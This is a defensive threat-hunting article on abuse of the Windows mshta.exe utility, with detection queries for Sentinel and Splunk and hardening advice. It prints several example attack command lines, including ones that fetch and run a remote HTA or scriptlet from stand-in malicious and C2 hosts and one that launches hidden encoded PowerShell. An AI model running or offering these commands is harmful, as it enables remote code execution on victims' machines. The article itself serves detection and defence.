Hunting Mshta.exe Proxy Execution: Living-off-the-Land Script Host Abuse

Mshta.exe is the Windows utility responsible for executing Microsoft HTML Applications (.hta files). Introduced with Internet Explorer 5, it renders HTML, CSS, and embedded scripting languages, including VBScript and JScript. Because mshta executes outside the Internet Explorer sandbox and runs with the security privileges of the invoking user, threat actors use it as a proxy execution binary to launch malicious scripts directly from command lines or remote network shares.

Adversaries exploit mshta to bypass software restriction policies that block standalone script engines like wscript.exe and cscript.exe. By passing a URL or protocol handler to mshta, attackers trigger remote code execution without dropping an executable file to disk.

Mechanics of mshta proxy execution

Attackers execute mshta in two common ways: loading remote HTA files over HTTP or SMB, or supplying inline protocol handlers directly on the command line.

Remote file execution relies on an external address:

mshta.exe https://malicious-domain.com/invoice.hta

When mshta runs this command, it makes an outbound HTTP request, downloads the HTML application into local temporary files, and executes the embedded script block. The script can instantiate Windows Script Host objects, such as WScript.Shell, to spawn additional processes.

Inline protocol execution avoids hosting a remote HTA file entirely:

mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell -nop -enc ..."",0"))

Or via JavaScript syntax:

mshta.exe javascript:a=GetObject("script:https://c2.example.com/test.sct").Exec();close();

In both cases, mshta evaluates the code string immediately, runs the embedded payload, and closes the window via the Close() function, leaving little visual presence on the victim desktop.

Telemetry analysis and parent process relationships

In legitimate business operations, mshta is infrequently executed from the command line. When legitimate software uses mshta, it typically launches a local .hta file installed in C:\Program Files\ or C:\Windows\.

Anomalous parent processes serve as a primary detection filter. High-confidence indicators include mshta spawned by:

• Office applications: WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE (indicating phishing macro execution).
• Mail clients: OUTLOOK.EXE.
• Command interpreters: cmd.exe, powershell.exe, wscript.exe.
• Web servers: w3wp.exe, httpd.exe.

Equally critical is the child process relationship. Legitimate HTA applications rarely spawn powershell.exe, cmd.exe, or rundll32.exe. A process tree showing an office document spawning mshta, which subsequently spawns powershell, represents an active intrusion attempt.

KQL detection query for Microsoft Sentinel

This query checks for mshta execution with inline scripting or remote web URLs, and alerts on unusual parent processes:

DeviceProcessEvents
| where ProcessVersionInfoOriginalFileName =~ "mshta.exe" or FileName =~ "mshta.exe"
| where ProcessCommandLine has_any ("http://", "https://", "vbscript:", "javascript:", "about:", ".sct")
or InitiatingProcessFileName in~ ("winword.exe", "excel.exe", "outlook.exe", "w3wp.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Splunk SPL search

For Splunk deployments indexing Sysmon (Event ID 1) or Windows Security (Event ID 4688), use the following search:

index=windows (EventCode=1 OR EventCode=4688) (Image="*\mshta.exe" OR OriginalFileName="MSHTA.EXE")
(CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*vbscript:*" OR CommandLine="*javascript:*" OR CommandLine="*.sct*")
| table _time, host, user, ParentImage, Image, CommandLine

Containment and endpoint hardening

To reduce attack surface, consider restricting mshta execution with AppLocker or WDAC. Organizations that do not rely on legacy HTA applications can block mshta.exe entirely or redirect the .hta file extension association away from mshta.exe using Group Policy.

Review our mshta LOLBin entry for command parameters, check other utilities in the Execute category, and consult MITRE ATT&CK T1218. You can also inspect prebuilt Splunk rules and analyze command strings with the Interactive Command Analyzer.

Additional threat intelligence on mshta is documented in MITRE ATT&CK Technique T1218.005 and the CISA Advisory on Living off the Land.